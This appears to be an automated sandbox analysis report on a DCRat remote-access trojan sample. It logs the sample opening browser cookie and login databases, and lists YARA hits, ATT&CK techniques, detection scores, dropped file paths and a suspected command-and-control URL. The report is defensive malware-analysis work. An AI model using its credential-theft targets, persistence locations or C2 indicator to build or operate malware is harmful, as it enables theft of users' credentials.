Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: fDTPlvsGfH.exe, type: SAMPLE
Source: Yara match	File source: 0.0.fDTPlvsGfH.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1623414051.0000000000062000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fDTPlvsGfH.exe PID: 6168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	141 Windows Management Instrumentation	1 Scripting	12 Process Injection	233 Masquerading	1 OS Credential Dumping	351 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	2 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	261 Virtualization/Sandbox Evasion	Security Account Manager	261 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Obfuscated Files or Information	Cached Domain Credentials	145 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
fDTPlvsGfH.exe	79%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
fDTPlvsGfH.exe	100%	Avira	HEUR/AGEN.1309961
fDTPlvsGfH.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\GOHxPPGn.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\AppData\Local\Temp\46FAiS0S6O.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\DSloixRU.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\Desktop\DYQGISGu.log	100%	Joe Sandbox ML
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe	100%	Joe Sandbox ML
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\AhGYbjHb.log	100%	Joe Sandbox ML
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\ICLFBdCl.log	100%	Joe Sandbox ML
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	100%	Joe Sandbox ML
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	79%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	79%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	79%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe	79%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\Desktop\AHvxDOtC.log	17%	ReversingLabs
C:\Users\user\Desktop\AZWFwAgV.log	12%	ReversingLabs
C:\Users\user\Desktop\AhGYbjHb.log	5%	ReversingLabs
C:\Users\user\Desktop\CKigYxxx.log	8%	ReversingLabs
C:\Users\user\Desktop\CVKgMxCZ.log	12%	ReversingLabs
C:\Users\user\Desktop\DSloixRU.log	5%	ReversingLabs
C:\Users\user\Desktop\DYQGISGu.log	8%	ReversingLabs
C:\Users\user\Desktop\GOHxPPGn.log	8%	ReversingLabs
C:\Users\user\Desktop\HFjxfdnr.log	12%	ReversingLabs
C:\Users\user\Desktop\ICLFBdCl.log	5%	ReversingLabs
C:\Users\user\Desktop\JCfvgtvD.log	12%	ReversingLabs
C:\Users\user\Desktop\KySWwqSG.log	67%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\LvueRqhB.log	4%	ReversingLabs
C:\Users\user\Desktop\NyMWIIsf.log	8%	ReversingLabs
C:\Users\user\Desktop\OvoeeIHa.log	5%	ReversingLabs
C:\Users\user\Desktop\OygMnZlw.log	8%	ReversingLabs
C:\Users\user\Desktop\RoXDuWmq.log	17%	ReversingLabs
C:\Users\user\Desktop\TcbLgjio.log	17%	ReversingLabs
C:\Users\user\Desktop\TlyLQWBk.log	8%	ReversingLabs
C:\Users\user\Desktop\UnQDGoMO.log	8%	ReversingLabs
C:\Users\user\Desktop\WKOtegOK.log	8%	ReversingLabs
C:\Users\user\Desktop\WjYUBCcj.log	8%	ReversingLabs
C:\Users\user\Desktop\XgzcXCre.log	8%	ReversingLabs
C:\Users\user\Desktop\YVXcjCmC.log	8%	ReversingLabs
C:\Users\user\Desktop\aOmKVzXA.log	17%	ReversingLabs
C:\Users\user\Desktop\ajmLslvZ.log	12%	ReversingLabs
C:\Users\user\Desktop\bXqTeyrX.log	12%	ReversingLabs
C:\Users\user\Desktop\dZcBAhwS.log	8%	ReversingLabs
C:\Users\user\Desktop\eFdBcvYu.log	8%	ReversingLabs
C:\Users\user\Desktop\fTLbMRgr.log	12%	ReversingLabs
C:\Users\user\Desktop\hGwsXsdP.log	8%	ReversingLabs
C:\Users\user\Desktop\hMaKxNSp.log	17%	ReversingLabs
C:\Users\user\Desktop\hPTsHewM.log	17%	ReversingLabs
C:\Users\user\Desktop\iDXAsssK.log	8%	ReversingLabs
C:\Users\user\Desktop\jsvAFsni.log	5%	ReversingLabs
C:\Users\user\Desktop\lCRBFKSi.log	4%	ReversingLabs
C:\Users\user\Desktop\lFJjObwF.log	5%	ReversingLabs
C:\Users\user\Desktop\luhiabrd.log	8%	ReversingLabs
C:\Users\user\Desktop\nnwRMYdb.log	12%	ReversingLabs
C:\Users\user\Desktop\owAZVXxy.log	8%	ReversingLabs
C:\Users\user\Desktop\qZchTloU.log	67%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\rhfqclHr.log	12%	ReversingLabs
C:\Users\user\Desktop\rqDqMXbo.log	8%	ReversingLabs
C:\Users\user\Desktop\ssViDqmS.log	12%	ReversingLabs
C:\Users\user\Desktop\uodzyDCn.log	17%	ReversingLabs
C:\Users\user\Desktop\uuIRZZqN.log	12%	ReversingLabs
C:\Users\user\Desktop\wacGgDMF.log	12%	ReversingLabs
C:\Users\user\Desktop\wiMZKnmL.log	17%	ReversingLabs
C:\Users\user\Desktop\wlEHTDRh.log	12%	ReversingLabs
C:\Users\user\Desktop\zZCPRjnE.log	12%	ReversingLabs
C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe	79%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.microsoft.	0%	URL Reputation	safe
http://crl.micros	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://109.107.182.145/ExternalVm_CpuGameWindows.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2444317338.000001BD90075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2471826648.0000017490075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1810438460.000001BD80227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1855541530.0000028356938000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1876718568.000001DC29717000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1814710733.0000017480228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1810438460.000001BD80227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1855541530.0000028356938000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1876718568.000001DC29717000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1814710733.0000017480228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.micom/pkiops/Docs/ry.htm0	powershell.exe, 00000001.00000002.2653419167.000001BDF7D4C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2444317338.000001BD90075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2471826648.0000017490075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 00000004.00000002.2632823645.000001DC416B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://109.107.182.145/	nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.microsoft.	powershell.exe, 00000008.00000002.2811470724.000001DB315B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1810438460.000001BD80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1855541530.0000028356711000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1876718568.000001DC294F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1814710733.0000017480001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1975526047.000001DB19131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp, nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp, nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	false		high
